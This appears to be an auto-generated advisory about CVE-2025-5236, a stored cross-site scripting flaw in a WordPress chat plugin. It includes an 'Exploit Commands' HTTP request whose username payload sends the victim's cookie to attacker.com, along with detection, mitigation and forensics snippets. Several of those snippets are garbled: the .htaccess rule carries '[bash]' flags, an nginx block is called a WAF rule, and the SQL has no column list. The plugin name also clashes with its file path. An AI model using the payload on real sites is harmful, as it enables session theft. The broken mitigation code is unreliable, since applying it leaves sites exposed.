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How CVE-2025-5236 Works
The NinjaTeam Chat plugin (≤ v1.1) fails to sanitize the `username` parameter, allowing Contributor+ users to inject malicious JavaScript. When the compromised username is rendered in admin panels or frontend chat logs, the script executes in victims’ browsers. This stored XSS bypasses CSRF protections due to improper output escaping in the plugin’s user-facing components. Attackers can hijack sessions, deface pages, or escalate privileges via crafted payloads like:
<img src=x onerror=alert(document.cookie)>
DailyCVE Form
Platform: WordPress
Version: ≤1.1
Vulnerability: Stored XSS
Severity: Critical
Date: 2025-06-04
Prediction: Patch by 2025-06-18
What Undercode Say:
Analytics
- Exploitability: High (low-privilege auth required)
- Attack Vector: Web-based
- Patch Lag: ~14 days expected
Exploit Commands
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: vuln-site.com
action=nt_save_user&username=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Detection Code (Python)
import requests
response = requests.get("https://target.com/wp-content/plugins/ninjateam-telegram/readme.txt")
if "Version: 1.1" in response.text:
print("Vulnerable to CVE-2025-5236")
Mitigation Steps
1. Immediate Workaround:
.htaccess rule to block malicious inputs
RewriteCond %{QUERY_STRING} username=.[<>=]. [bash]
RewriteRule ^ - [bash]
2. WAF Rule:
location ~ /wp-content/plugins/ninjateam-telegram {
deny all;
}
3. PHP Sanitization Fix:
$username = sanitize_text_field($_POST['username']); echo esc_html($username);
4. Verification Post-Patch:
fetch('/wp-json/ninjateam/v1/users').then(r => r.json()).then(data => {
if (data.users.some(u => u.username.includes('<script>')))
alert('XSS still active!');
});
Post-Exploit Forensics
SELECT FROM wp_usermeta WHERE meta_key LIKE '%ninjateam%' AND meta_value REGEXP '<script>';
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
